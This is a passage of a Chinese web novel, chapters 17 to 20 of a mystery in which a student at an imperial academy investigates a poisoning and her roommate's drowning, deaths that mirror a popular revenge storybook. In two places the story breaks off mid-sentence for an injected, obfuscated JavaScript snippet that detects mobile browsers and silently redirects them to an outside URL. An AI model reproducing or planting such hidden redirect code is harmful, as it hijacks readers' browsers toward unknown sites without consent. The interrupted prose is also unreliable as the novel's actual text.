“你整夜整夜捯饬新工具,我哪敢打扰你……” 赵望舒一点都没客气地抄起卷轴还手,她和宋清屏是同寝,关系较之旁人亲近些,也就少了顾忌。 她入国子监的时间的确匆忙,寝房几乎全被占满,唯有因酷爱改造各类机关器具、难以同人合居的宋清屏屋里还有空间。 赵望舒搬进来与宋清屏成了同寝,很快发觉彼此意气相投,她们可以兴高采烈地谈论验尸查案和机关设计,丝毫不觉厌烦,若非相识仅有一月,两人或许已义结金兰了。 宋清屏哼笑一声:“那你给谁下注了?” “明知故问,除了宋小姐还能有谁?你可是秋闱解元,大家都指望你三元及第,打压那群男学子和老古板的气焰呢。” 撇去主观感情,赵望舒也实打实佩服宋清屏,对方花了许多心思捣鼓机关,却从没落下功课,每回国子监课业考试都是第一名,更在去年秋闱乡试拔得头筹。 换做她自己,虽然凭借前世经历博了个早慧的赞誉,得以在十八岁前考中举人,但也是苦读之功,并非于此道有出众天赋。 金榜题名倒稍有信心,前三甲甚至状元就与她无关了。 宋清屏没有谦虚客套,只与她一同踏出房间,边从她手中抽走她的省卷,边轻描淡写地回应:“我无所谓是否三元及第,科考当官也仅为像我母亲一样主持些有利民生的工程……省卷我一并拿给许祭酒,顺带问他要回上次没收我的机关,你自去用午膳吧,记得帮我带碟豌豆糕。” 说完,宋清屏转身就走,徒留一道背影给赵望舒,赵望舒也不觉无措,反倒习以为常般独自往食堂而去。 “此次春闱,必定是蔡兄夺得会元功名。” “没错,那宋清屏不过秋闱期间运道好,瞧她平日里净是研究些旁门左道,哪能有什么真才实学。” 不巧的是,赵望舒迎面撞上了几个正在编排她好友的男学子。 国子监中女男能够共同进学是有缘故的。 三代以前,皇位原属于宣文帝,当今陛下的祖父那时只是宣文帝的王弟宁王。 宣文帝常年无子,因而默许其女寿康长公主入朝结党,长公主和宁王等几位王叔斗得几近你死我活,可在宣文帝与其唯一成活的小皇子死于毒杀后,她被传为凶手,遭到臣民讨伐,宁王却抵御趁火打劫的外族漠北,尽收人心声望。 最终宁王登基为帝,改元宁武,宁武帝为了消除侄女长公主的影响力,严禁女子参政,可他的儿媳冯太后又复辟女官制度,而且更为激进,直接倡导女子读书科考、堂堂正正获得功名。 不过冯太后的政令虽然顺利推行,但这些年书生酸儒积攒的偏见却无法消除,所以国子监的女学生与男弟子从来不相为伍。 男学子故作清高地无视她们,赵望舒不在意,可是背后嚼舌根—— “那你们考得一塌糊涂,甚至有些人根本无法参加春闱,该不会是因为运道太差?” 她毫不避讳地走到他们近前,目光瞥见其中一人手里攥着的书册,书封写有‘恶业临’三字,看着像是本宗教典籍,她顺势指着它讽笑道:“为什么运道差?是因造了太多恶业吗?” 她不与他们争辩,只回敬了几句以发泄郁气。 不过他们的反应却激动得让她有些意外。 拿书那人名叫沈成器,出身京城望族沈氏,他性情自负跋扈,此刻正怒瞪着她骂道:“赵望舒,你以为在御前出过风头就能肆无忌惮?这里是读圣贤书的国子监,并非你这种沾惹死亡白事的不祥之人可耍威风的地方……” “对啊,还说什么恶业之类的不吉利言语……” 附和沈成器的是户部尚书之子何泉,这二人堪称狐朋狗友的典型,经常一起做下恐吓师长、欺压寒门学子等恶行,方才嚼舌根的便是他们。 赵望舒还没说什么,有人抢先打断了他们:“够了。” 出言喝止的人即是话题的另一主人公蔡骏声,他和蔡瑾瑜、蔡琮佳同出一族,只不过他是旁支,而后者是主脉。 蔡骏声课业优秀,在宋清屏入国子监前一直占据头名,因此在会试赌局中他就是与宋清屏‘打擂台’的另一热门人选。 不过他显然没有多高兴致,反而向赵望舒解释道:“我与他们仅顺路而行,并不想参与他们的闲话。” 言毕,他径直离去,徒留沈成器等人在原地尴尬。 “这小古板装什么清高,分明就对落于人后耿耿于怀……” 半晌后,沈成器转而唾骂起蔡骏声,引来几句赞同。 赵望舒却对他更加鄙夷:“积点口德吧,真不怕遭报应?” 不知为何,沈成器与何泉竟是身体一抖,仿佛真被她这句话唬住了,可他们若是胆小之辈,平时怎会横行霸道? 她疑惑地打量了他们几眼,却没有再耗时间理会,只继续前往食堂。 快速吃过午膳,她刚装好豌豆糕准备给宋清屏带回去,对方却已经跑到门口喊她。 “你今日进食挺慢,或者是真饿了?” 宋清屏不知她路上与沈成器等人的争执,以为她是用午膳时间太久,还打趣了她一句。 赵望舒也没有提及方才的事,只反问道:“看你心情不错,取回机关了?” “我隔三差五就去问许祭酒,他可能是被烦够了,这次终于把东西还给我。” 宋清屏晃了晃袖中形似手铐的机关,神态间难掩欢快。 赵望舒理所当然将这个机关当成遇险时可用来束缚歹徒双手之类的防身工具,但宋清屏却赶忙否认道:“这是辅助器具,你看我把铁环两端分别扣在左右手腕间,再戴上指环,右手就能借力给左手,双手并用,譬如抄书答题,左手落笔的字迹就不会显得潦草。” 赵望舒:“……” 难怪许祭酒要没收它,不过听上去的确是个好东西,毕竟她也讨厌抄书。 她听宋清屏详细讲述这个机关的设计,时不时递给对方一块豌豆糕,两人并肩往回走,这般安逸而充实的时光实在难得,仿佛能让她躲避祸害她的剧情……和那个她刻意忘却的大反派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14816039|158166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 * 三月初三,上巳节。 春闱将近,紧张气氛却从国子监里淡下来,几乎所有学子都明白,会试结果无法被短短几日时间左右,紧张煎熬也只是伤身,故而干脆放松心情。 适逢上巳节到来,祭酒许德忠和两位司业刘继礼、童彻商量后决定召集所有学子在流水池举行曲水流觞。 上巳是祓除灾祸、祈降福祉的节日,最初的习俗是沐浴兰汤以驱除邪气,故又称春浴日,后来渐渐演变为水滨祓禊祭祀,人们祓禊过后落座于水渠两旁,在上流放置酒杯,任其顺流而下,杯停在谁的面前,谁就取杯饮酒,即为曲水流觞。 而在文人墨客间,杯停不仅需要饮酒,还得即兴赋诗,诗酒唱酬。 当赵望舒与宋清屏携手抵达流水池,众学子已然席地而坐,女子居左,男子临右,各自聊得热火朝天,却不理会对面。 赵望舒压低声音向身旁问道:“你想即兴作诗吗?” “没意思,不想。” 宋清屏因为昨晚带头燃放烟火取乐,被罚抄戒律十遍,纵然她有机关辅助,也仍是写到黎明才完成,在近乎通宵未眠的情况下,她此刻精神疲乏,连字都懒得多说几个。 赵望舒遂拉着她走近九曲十弯的水渠,选了相对平直的一段落座:“酒杯被放置在水面顺流而下,虽是看起来由天意决定,但当它遇到渠道中的弯曲、障碍物或水速减缓的地方时,也可能会暂时停下或旋转,因此我们这个位置理应适合偷闲。” 果然,话音刚落,许祭酒就高声宣布开始放第一个酒杯入水,酒杯缓缓停在蔡骏声面前,他没有犹豫为难,当即饮一口酒,起身作了首字里行间满是对金榜题名希冀的诗词。 在他之后,几个被选中的学子亦是满口离不开科考,显然表面上放松,心底里却没有减压片刻。 唯一的例外是沈成器,他支吾了半天做不出诗,只能按照规矩罚酒三杯,还被众人笑话了一阵。 “望舒,我快睡着了。” 赵望舒本在无聊地拨弄那格外冰凉的渠水,她闻声看去,只见宋清屏眼底青黑,脖颈更是仿佛被重物压着似的放低,像是下一秒就要原地入睡。 她觉得与其让宋清屏在曲水流觞进行期间睡着、给某些人指责其破坏气氛的机会,不如她找个理由将人带回寝房补觉。 然而就在她准备开口时,变故陡生—— 对面一个男学子捂着胸口、瞪大眼睛,直挺挺地倒了下去,他身旁的人颤抖着伸手过去在他鼻腔下一探,立刻吓得跳起来尖叫道:“他没有呼吸了!” 满座哗然。 那突兀倒地身亡的男学子名叫邓佑,方才第四个酒杯停在他面前,他自是饮了酒、作了诗,因此,众人不得不将忌惮的目光投向邓佑尸体旁的酒杯。 而与邓佑同样饮酒赋诗的几位学子此刻面无血色,更有甚者,譬如沈成器就全然不管什么得不得体、径直跑到一旁干呕,似是打算将吞下的酒液催吐出来。 见状,赵望舒没有继续迟疑,她起身轻易跃过水渠,走到邓佑的尸体旁。 赵望舒并未贸然去碰尸体,只是一边戴手套一边弯腰拿起地上的酒杯,她先是将酒杯放到鼻尖下轻嗅,又拔下发丝间的银簪放入其中,待到银簪一端变黑,她的神色顿时转为凝重:“是砒霜。” 这个结论没有稳住众人心神,反而让饮过酒的学子更加惊惧,除蔡骏声之外的几人都抛却矜持,开始模仿沈成器的行为。 在此期间,赵望舒用银簪另一端依次给这些人的酒杯验毒,却发现银簪始终完好。 “不必担心,你们喝过的酒无毒,含有砒霜的仅是邓佑那杯酒。” 学子们的喧闹声这才缓缓减弱,以沈成器为首的几人也停下干呕的动作,但没等他们产生尴尬窘迫的情绪,一句疑问又点燃了恐慌气氛。 陆慈立在水渠边上,案发当时,酒杯打转于她身前,她没来得及饮酒,因此还能镇定思考道:“毒酒仅有一杯,像是谋杀,但酒杯流向多凭运气,投毒者如何能确定毒酒正好到邓佑面前停转、而不是提前或推迟到旁人的位置?” 是谋杀、误杀还是无差别杀人? 这时,在陆慈身侧,一个身姿娇小纤瘦的少女忽然颤抖着出言:“他、他和话本上的死法很像……” “她指的是《恶业临》?那本书里第一个遇害的奸贼的确死于毒酒……” “兴许只是巧合,下毒本就是常见谋杀手段……” 在场众人议论纷纷,显然都知晓少女口中的话本。 前段时间,《恶业临》莫名其妙风靡在国子监,赵望舒也从扫洒杂役那里买了一本观阅,读过才知它的内容与宗教毫无关系,只是一册复仇话本。 《恶业临》讲的是一户富商家中价值连城的传家宝遭到贪官觊觎,贪官勾结江洋大盗灭门窃宝,富商在忠仆舍身救护下逃生,随后一一杀死仇人,并在公堂上得到明君赦免的故事。 而话本中富商就是通过在盗贼酒中下毒的方式完成了第一起报复。 18. 沐浴 “做什么虚张声势,中毒身亡又不稀奇,这样也能扯出所谓与话本一样的死法。” 在一片议论声中,这句口吻不善的话语尤为突出,众人同时循声望向沈成器,只见他仿佛浑忘了方才的惊惶,又恢复傲慢姿态,向那提到话本的少女轻嘲道:“许菱,你如此沉浸在什么不三不四的话本上,难怪没信心参加春闱……” 许菱、陆慈和赵望舒年方二九,是国子监里最年轻的学子,后二者皆在今年下场科考,许菱却自称没有做足准备、并未报名春闱。 像是被戳中痛处,许菱瞬间红了眼眶,见状,赵望舒直接走到沈成器面前,拔高音量对他斥道:“你装什么?你不也看过你口中不三不四的话本《恶业临》?” 赵望舒站在一堆男学子中间,却丝毫不显孤弱,反而因为神容凛然,引得周围人包括沈成器的好友何泉下意识转身回避,不敢参与她和沈成器的对峙。 女学子那边却是群情激愤,纷纷隔着水渠斥骂沈成器—— “沈成器,你一个课业从未合格的纨绔竟来评判她人是否用功,简直厚颜无耻……” “没错,你先摆脱秋闱舞弊的传闻再来搬弄口舌吧……” 沈成器、何泉这对狐朋狗友两度参与秋闱乡试,第二次才考中,但了解他们的人皆不相信这个结果,只不过碍于他们各自的家世背景,没有人直接检举到官府。 沈成器一开始还想回嘴,赵望舒却飞快伸手点了他的哑穴,使他张口也只能发出一串无意义的呜啊声、最终气得干瞪眼到目眦欲裂。 “你们都住口!在上巳节当日、在国子监里邓佑被毒杀已是惊天大事,别将场面闹得更乱!” 祭酒许德忠站出来叫停了这场单方面的骂战,学子们或有不服,毕竟争端是沈成器自己嘴贱挑起的,他挨骂实属活该,但因为谈及命案,她们终究还是依言噤声。 许德忠叹了口气:“原本安排了曲水流觞、兰汤沐浴、赏景摘花等娱乐,想借着节日的由头让你们松快心情,可如今出了人命,你们还是各自回房……” “许大人,下官以为应该继续兰汤沐浴的安排。” 这时,司业刘继礼却插话道:“赏景摘花也就罢了,不合时宜,但兰草乃吉祥灵物,学子们目睹丧事,难免心神不宁,正好沐浴兰汤以驱除邪气。” 赵望舒惊诧地瞥了刘继礼一眼,心想早前怎么没看出这个刘司业竟是迷信之人,命案是正经严肃的事,他偏扯到什么驱邪的神鬼之说。 她虽然不认同,但对方算是师长,她便没有直言反对,而是委婉提醒道:“邓佑遇害的内情不明,凶手的身份和动机也未知,两位老师如此关照学生们,想来会报官、以防凶手再度犯案吧?” 许德忠点了点头,像是被她说动,可刘继礼却不知为何十分坚持方才的提议:“学子们的安危要紧,但身体和精气神也很关键,不如这样,许大人前去报案,下官则领着学子们到浴堂。” “也好,你认真看护他们,莫要生出旁的事端。” 说罢,许德忠又将许菱喊到近前:“菱儿,刘司业顾不到女学子这边,你虽然年纪最小,但早已懂事,切记替我照料你的同窗们。” “父亲,女儿晓得。” 许菱嗓音中含着些哭腔,她像是还沉浸在刚刚被讽刺的难堪中,一直垂首掩饰神情。 许德忠匆忙离去,刘继礼率领男学子先行一步,而原本不想参与什么兰汤沐浴的女学子们因为不忍许菱为难,只得跟着她一起到了浴堂。 国子监的浴堂占地宽阔,四面临墙架起木板,分隔成一个个私密的小间,中央则是一个较大的浴池,也用木板围起,整体呈‘回’字状布局。 小间和中央的浴池都已备好放满兰草的热水,许菱挽着陆慈往浴池去,像是要一同沐兰汤,另有几名想要安慰许菱的女学子也一并走了进去。 赵望舒却是不惯与人共浴,她和宋清屏选了相邻的两个小间,褪去衣衫踏入木桶中,温热水雾氤氲周身,浓郁兰香扑鼻而来,倒的确有些提神作用,但她无心享受,只挂念着那桩命案。 凶手在众目睽睽之下制造命案,是因为祂性情狂妄?还是有别的原因? 陆慈提出的那个问题也很重要,凶手若要刻意谋害邓佑,如何确保毒酒会停在他面前?假设邓佑只是无辜遭殃,凶手真实目标又是谁、抑或祂仅想散播恐慌? 沈成器那混账的通篇恶语中倒有一句在理,即是中毒身亡并不稀奇,所以她没觉得邓佑之死与话本有必然联系,不过想到话本—— “清屏,你没看过《恶业临》,怕是不知道主人公第二次杀人就在河边、将另一名盗贼溺死,咱们却待在这遍地环水的浴堂,岂非更不合适。” 《恶业临》中共有四回复仇杀人,分别用了毒杀、溺死、射杀和纵火烧死的方式,因为涉及命案情节,赵望舒对此还算印象深刻。 她提起这件事时用着玩笑语气,未曾真的介意担忧,而是想同隔板一侧的宋清屏调侃一番满口驱邪祛灾的刘继礼。 但往常总在第一时间接话的宋清屏却没有给出回应,她疑惑地喊了几声,反而是另一侧的人先出声答道:“清屏可能是睡着了,她今日一直表现得很困倦。” 闻言,赵望舒放下心来,她是最清楚宋清屏状态的,对方本就疲累,又泡在舒适的温水中,自然而然会入睡。 与此同时,几声尖叫打断了她的思绪,她一边暗想该不会真在浴堂闹出人命,一边踏出木桶、随手披件衣服就循声奔去。 浴池内外已经被围满,几乎每一个女学子都赶了过来,她强行挤进去察看情况,却没有见到预想中的鲜血和尸体,唯一的异样却是……一个男人。 “我只是走错了……” 何泉嗓门嘹亮,似乎想要表现得理直气壮,可无论是他涨红的脸色,还是窘迫的口吻,都无疑显出他的心虚。 “你是说你一个在国子监读书三年的人,连女浴堂和男浴堂的位置都分不清?” “刘司业不是领着你们男学子去沐浴吗?你跟他们走一路,怎会错拐进女浴堂?” 女学子们当然不接受这个解释,她们疾言厉色地质问何泉,直将对方逼得不住后退,但又无法寻到缝隙逃出去。 赵望舒来到掩面而泣的许菱和正在安抚她的陆慈身旁,向她们低声询问:“发生了什么?” 陆慈罕见地面带怒容,她先抬头瞪了何泉一眼,随后才回道:“我们在池中沐浴,他突然闯进来,当时我和其她几人是穿着里衣的,但菱儿却未着寸缕,她被吓坏了……” 原来是一出偷窥事件,不对,何泉这般直接闯入,应该称之为明目张胆的骚扰。 赵望舒嫌恶地瞥向何泉,他仍在用毫无说服力的理由辩解:“春闱将近,我怎会公然做出偷窥同窗沐浴的行为?” 不仅如此,他还朝陆慈求助:“小慈,陆、何两家是世交,你应当了解我的,我平日里不爱流连烟花柳巷,更非急色之徒,我真的是走错了……” 但陆慈丝毫不留情面,她态度冷硬地宣布:“这些话你还是留着去对家父家母和令尊解释吧。” 何泉脸色顿时变得灰败,四周的女学子们商量要将他押到祭酒司业面前,若他们不肯处置,再上告官府把事情闹大。 然而此时却有一道低弱声音响起:“放他走吧,我、我相信他是走错了。” 众人震惊地盯着许菱,她是最大的苦主,为什么要主动放弃追责? 许菱言辞恳切地向她们请求:“父亲最重礼法,这件事若被他知晓,我只有两个下场,要么嫁给何公子,要么被送进寺庙里、青灯古佛了却残生,所以拜托诸位不要将事情闹大。” “菱儿,你怎至于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826589|158166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫁给这混账或是去做尼姑,你可以科考入仕,你可以当官啊……” 包括赵望舒在内,周围人纷纷劝慰许菱,不赞成她大事化小。 可是许菱只苦笑一声,像是万般无奈地说道:“一个孝字压下来,我哪里还有别的选择。” 女学子们的愤懑渐渐消退,纵然她们再如何打抱不平,别人的家事却无法介入,放过何泉的确不甘,但若为这点不甘害了许菱,更是不妥。 “既然许小姐高抬贵手,你们可以放我走了吧。” 全赖许菱的请求,何泉才能免于身败名裂的下场,他看向许菱的目光却尤带怨恨,说话也是咬牙切齿,倒像是恨上了受害者一般。 众人勉强压下去的怒火又被他激了出来,不知是谁先喊了句‘既然不能光明正大状告他,我们至少要私底下出口恶气’,她们蜂拥而上,一边将何泉包围在中间,一边摩拳擦掌。 “你、你们要做什么,动手动脚的,哪里有半点知书达理的淑女风范,分明与泼妇无异……” 何泉这话可谓是火上浇油,女学子们没有停止的意思,关键时刻,赵望舒上前拦住了几个正要殴打他的同窗。 在何泉看救命稻草的眼神和同窗们不解的目光注视下,她缓缓开口:“不能打头,否则控制不好力度很容易出人命,打脸留疤,无法对外解释,我的建议是踹他臀部,很痛、但不显眼……” 何泉不可置信地瞪着她,女学子们却恍然大悟,她们开始有计划性地往何泉身上落脚,很快整座浴堂就回荡起拳脚踢打声与男人的痛呼。 “清屏怎么没在?她往常最热心做这些事。” 陆慈没有参与群殴,她左右张望了一下,未能找到宋清屏的身影,因而有些疑惑。 赵望舒张口刚想回答,却想到这里的动静闹得够大,按说宋清屏睡得再沉也不该无所察觉,对方又的确仗义烈性,平时最爱出面撑场子,实不该到此刻都不见人影。 她心底陡然升起一股极其不祥的预感,这感觉促使她提起步伐冲出浴池,径直推开宋清屏所在的小间木板门。 门后,宋清屏一动不动地浸在木桶中,她的双眸紧闭着,原本秀美的脸庞变得惨白肿胀,任凭赵望舒再怎么努力给她做心肺复苏和人工呼吸,她的胸腔也没有片刻起伏。 “望舒,清屏……已经死了。” 赵望舒当然知道如何区分活人与尸体,但她不肯结束施救,徒劳地幻想着宋清屏下一秒就会醒过来拍打她、笑骂她动作太重。 直到陆慈和许菱合力将她往后拉,为防损坏尸身,她只得放手,失魂落魄般跌坐在地上。 随后浴堂进进出出许多人,有人将她扶起来,她未曾回神,有人把尸体抬出去,她也仅是无意识的跟上。 赵望舒见惯了生死,却头一回难以正视现实。 “我们都以为清屏只是睡着了,谁也没想到……她不会是因此溺水而死的吧?” 女学子们正在流水池旁应付大理寺官吏的询问,其中某句问题唤回了赵望舒的神智,她近乎本能地反驳道:“溺死至少需要一字到两字时间,而身体沉入水中仅需几秒就足以令人惊醒,除非服用过迷药,但这都指向同一个结果——清屏是被谋杀的。” 她受到在场所有人的注目,其中不乏熟悉面孔,蔡琮佳、蔡瑾瑜甚至还有装扮成小吏模样的齐慕远,她们望向她的眼神里有一致的同情怜悯。 为什么这样看她?她没有哀嚎失态,没有找人诉苦发泄,她的难过不应明显。 直至泪珠顺着下颚滴落在手背,赵望舒才惊觉自己居然在哭。 旁边递来一张绢布,一如多日前在杏春堂门前,她侧身盯着突兀出现在此的冯玄晖,他倒是神色平静,也并未说什么安慰言语,仅是指了指她残留泪痕的脸颊。 而她没有犹豫,接过绢布尽数拭去泪水。 19. 自荐 “一个时辰内连杀两人,还都是在公共场合作案,这个凶犯属实猖狂……” 流水池旁,蔡琮佳正与祭酒许德忠谈论案情,突然传来几句惶恐的喊叫声,打断了他们的对话。 “是话本,是话本的主人公来到现实报复——” “邓佑饮毒酒暴毙,宋清屏溺亡水中,他们的死法和话本形容得一模一样,真是恶业降临了……” 五六个男学子手捧着《恶业临》,其中竟还有沈成器的身影,他先前对于命案与话本有关的说辞嗤之以鼻,如今却满脸惊悸,仿佛比谁都笃信这番话本杀人的谬论。 赵望舒无心嘲讽他,她仅是用怀疑目光注视着这几人的异状。 将命案与神鬼奇幻相提并论,往往会掩盖案件的真实性质,毕竟杀人行为被归咎在不存在的鬼神身上,凶犯就能隐匿罪行、逃脱判罚。 这几人在此鼓吹话本杀人,究竟是真被吓到思绪混乱,还是别有用心刻意误导? 在她暗自猜忌时,许德忠开口对他们怒喝道:“子不语怪力乱神,你们的书都白读了吗?” 可他们仍未住嘴,无异于将许德忠的话当成了耳旁风,许德忠像是感到些许难堪,准备走过去训斥他们,蔡琮佳却伸手拦住他:“学子们骤然目睹凶杀案,一时心神不稳也正常,由他们自己缓缓吧。” “不过,许大人,他们口中念叨的话本是什么?” 许德忠摇了摇头:“我也不太清楚,近段时间学子们为放松心情做什么的都有,可能是看了某本市井杂书。” 蔡琮佳只得转头询问同族堂弟蔡骏声,趁此期间,赵望舒从那群男学子手中抽走一本《恶业临》,直接递到他身前。 蔡琮佳和蔡瑾瑜同她算是有些交情了,对她先是道谢、又劝节哀,她都并未正面回应,只提案子的事:“这话本不知为何人所著,短短数日就在国子监广泛流传更是奇怪。” “这没什么奇怪的,《恶业临》并非寻常粗鄙俗艳的市井杂书,它遣词造句简明扼要,文风辛辣,穿插在情节中的骈文更是精妙……” 蔡骏声倒是对话本颇为推崇,《恶业临》既能吸引像他这样的清高书生,又能让沈成器那等纨绔读完,它自然是有可取之处的。 而赵望舒耸了耸肩,却道:“可惜说教意味太浓。” 听了两人的评价,蔡琮佳和蔡瑾瑜愈发好奇,兄妹俩用了一刻钟时间飞快翻看《恶业临》。 “这话本给人的感觉很割裂,它写主人公复仇的情节极尽惊悚残忍,其余文字和结局却又过于刚正,若非通篇文风一致,我怕会认为它不是同一人所著。” 蔡瑾瑜还算客观地评价了一番,旋即她又正色道:“世上没有怪力乱神之事,因此不可能是话本杀人,但凶犯按照话本情节作案的动机值得探究。” 赵望舒暗暗点头,她和蔡瑾瑜想法类似,唯一不同之处在于,她无法确定究竟是凶手模仿话本情节杀人,还是话本因杀人而产生。 相较她们,蔡琮佳虽然同样不信话本杀人,但他却想得太深:“《恶业临》是复仇故事,死者或为盗贼或为佞臣,都是与主人公有仇的奸人,而邓佑、宋清屏和书里两名盗贼的死法一致,难道她们……” 蔡琮佳可能是吃了教训,也可能是因为被蔡瑾瑜踩了一脚,至少没有说完、留下话柄。 只不过众人都能听懂他的言下之意,赵望舒蹙起双眉,她当即想要出言为好友正名,却被一道浑厚女音抢占先声:“我女儿或许不够圆滑和善,但绝对品行优良,不会行低劣之事。” 身穿紫色官袍、腰佩金玉带的一女一男在数名官差的簇拥下走近,其中女人的五官面容瞧着很是眼熟。 “宋大人,洪大人。” 以蔡琮佳为首的一众大理寺官吏向两人拱手行礼,女人理都不理,径直朝着被摆放在一侧、白布覆盖的尸体奔去。 见状,赵望舒瞬间明晰对方的身份——当朝第一实权女官,工部尚书宋溪。 宋溪站在宋清屏的尸身旁边,她没有痛哭流涕,乍然看去,不知情的人恐怕以为她毫无悲伤,但赵望舒却明白,悲到极致反而是哭不出来的,而丧女之痛岂非就是极致? 往常‘宋清屏之母’这个身份于宋溪而言最不值一提,但此时此刻,她只是一个母亲。 没有谁敢厚着脸皮去打扰宋溪,那位洪大人又俯身朝赵望舒身后的位置一拜,她回眸看向冯玄晖,只见他轻轻颌首。 三品服紫,洪大人官阶与宋溪比肩,又对冯玄晖如此恭敬,想来只能是他的党羽,那位刑部尚书洪彬。 “什么风把洪大人给吹来了。” 蔡琮佳显然觉得洪彬是不速之客,毕竟大理寺和刑部同掌司法,很容易出现像上回公主被害案那种争夺主审权的情况。 果不其然,洪彬意有所指道:“太后娘娘已经得知此事,春闱将近,守卫严密的国子监却频发命案,娘娘极其重视,责令你等须在春闱前一日结案,以防耽误科考。” “当时我恰好在场,突然想起蔡氏有族人就读于国子监——国子监不易进出,凶手必定在一众学子和师长中,蔡少卿,你的族人是嫌犯,你难道不该避嫌吗?” 这番诘问令蔡琮佳措手不及,他瞥了蔡骏声一眼,的确有些为难。 而赵望舒另有疑惑,春闱前一日即是三月初八,距今仅剩五天,时间紧、案情复杂、死者和一众嫌犯身份不同寻常,怎么看都不是一桩好差事,洪彬为何要抢这案子呢? 她审视着从头到尾一言不发的冯玄晖,洪彬的一举一动定然有他授意。 可他的目的是什么?绝不会是针对蔡骏声这种小打小闹,蔡骏声与蔡瑾瑜不同,就算真为凶犯且被缉捕,也妨害不到蔡氏根基,他没耐性做收益甚少的事情。 赵望舒暂时没什么头绪,而洪彬见蔡琮佳无言以对,便直白要求道:“蔡少卿,为了确保查案公正,我看还是由刑部接手此案吧。” 洪彬执着相争,是个人都能察觉其中蹊跷,蔡琮佳本不打算坚持,此刻却不想放弃主审权,所以他没有答话,只侧身望向旁边的一群大理寺官吏。 洪彬自觉胜券在握,他脸上浮现出得意神色,却又因他循着蔡琮佳的目光瞧见一道熟悉身影而僵住:“陛……” 皇帝齐慕远鲜少在民众跟前露面,国子监学子和普通官吏并不识得他的模样,但洪彬作为朝中重臣当然不会认不出他,他混在数名官吏中,对着洪彬挤眉弄眼,示意不可行礼。 一边是疑似有皇帝撑腰的蔡琮佳,另一边是他效忠的睿王,洪彬窘迫良久,最后只能折中商量道:“毕竟案情紧迫,我想了想,不如大理寺与刑部合力办案,蔡少卿你看如何?” 没等双方开始周旋,宋溪的呵斥声先一步响起:“诸位真是好兴致,案发现场、尸体旁边也能打官腔和争权夺利,如果将这份精力用于办案,是否会更对得起你们的职责呢?” 蔡琮佳和洪彬均是轻咳一声,他们分别招来仵作,准备进行验尸,但两名死者中邓佑没什么顾忌,宋清屏却需要谨慎对待。 “宋大人,您同意验尸吗?” 按照常理来说,像宋清屏这种尚未出阁的官家小姐,外男连她的头发丝都碰不着,更别提允许仵作给其全身验尸。< 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蔡琮佳正要训斥他们对赵望舒无礼,她却并不羞恼,只是语气凌厉:“尸体分什么女男,难道你们对着女死者还会生出歹念不成?” “自然不会!但、但给高门女子验尸终究不妥……” 两名男仵作反被她吓得面色涨红,嗓音颤抖到字词都说不清晰。 赵望舒翻了个白眼,她不再与他们耗时间,直朝着蔡琮佳和洪彬问道:“我可以代为验尸,不知二位大人意下如何?” 蔡琮佳当然果断同意,可洪彬看了看她、又自以为隐秘地打量冯玄晖几眼,许是念及她同冯玄晖不睦的传闻,他最终反对道:“赵小姐破获公主遇害一案的事迹我有所耳闻,但这次你也算是嫌疑人,若要验尸,恐怕不能服众。” 不仅是他,许德忠和一些男学子也来劝阻:“望舒,你学过验尸之术?仵作乃是贱役,你既要读书科考,怎可行贱役之职……” “高低贵贱由何人评判?你们有此资格吗?” 赵望舒毫不客气地对着一众师长同窗嘲讽,她昂首扬眉、脊背挺直,确是没有半分自卑:“仵作,为生者权,替死者言,在我看来比许多只长一张搬弄是非的嘴的人更可敬。” 她越是理直气壮,许德忠、男学子们和那两名敢怒不敢言的仵作就越是羞惭。 “至于洪大人的顾虑,我完全理解,我有作案机会,的确不能被排除嫌疑。” 赵望舒又转向洪彬,她并未拿自己与宋清屏的交情自证,只是提议道:“不如这样,找一个与案情无关的人全程监视我验尸——蔡小姐通晓医理,又即将母仪天下,不知可否服众?” 被点名的蔡瑾瑜挑了挑眉,随即迈步行至她身旁,无疑是在表态。 洪彬碍于蔡瑾瑜的地位而犹豫不决,他又将视线扫向冯玄晖,堂堂刑部尚书,全然像个没主见的傀儡,惹得在场某些莽撞学子发出几声嘲笑。 笑声刺激到洪彬,他一怒之下驳斥道:“让那两名官府仵作验尸就是了,何必多生波折……” “官府的仵作畏手畏脚,逼迫他们去验,只怕查不出什么线索,既然赵小姐坦荡自荐,本王倒觉得不妨应她所求。” 出乎意料的是,冯玄晖冷眼旁观许久后终于开口,话里话外却在偏向赵望舒。 洪彬瞬间瞪大眼睛,震惊地看着冯玄晖,他今日几度吃瘪,都及不上发现自己错献殷勤。 “洪大人,我可以——” 听见赵望舒的询问,洪彬更觉郁闷憋屈,但他却不敢同冯玄晖唱反调,只得勉强应道:“可以,我没有任何意见了。” 20. 验尸 “清场吧,我和蔡小姐二人留在这里即可。” 赵望舒清楚洪彬松口的原因,她朝冯玄晖点头致意,随后一边从官府仵作那里借走装有验尸工具的木箱,一边习惯性地对周围官差吩咐。 说罢,她才反应过来自己并非主审官,满场的官差也不是供她差遣的金吾卫。 所幸官差们没有无视她,而是依言带走了围观的一众学子,洪彬、蔡琮佳等人也正要离开,可宋溪却仍站在尸体旁。 “宋大人,您……” “我要亲眼看着验尸。” 宋溪声色冷淡,用的是陈述口吻:“我也略懂验尸和医术,虽不曾动手尝试过,但足够分辨别人的手法规不规矩。” 这话仿佛存着质疑猜度赵望舒的意思,她却没有不悦,仅是点了点头以示理解。 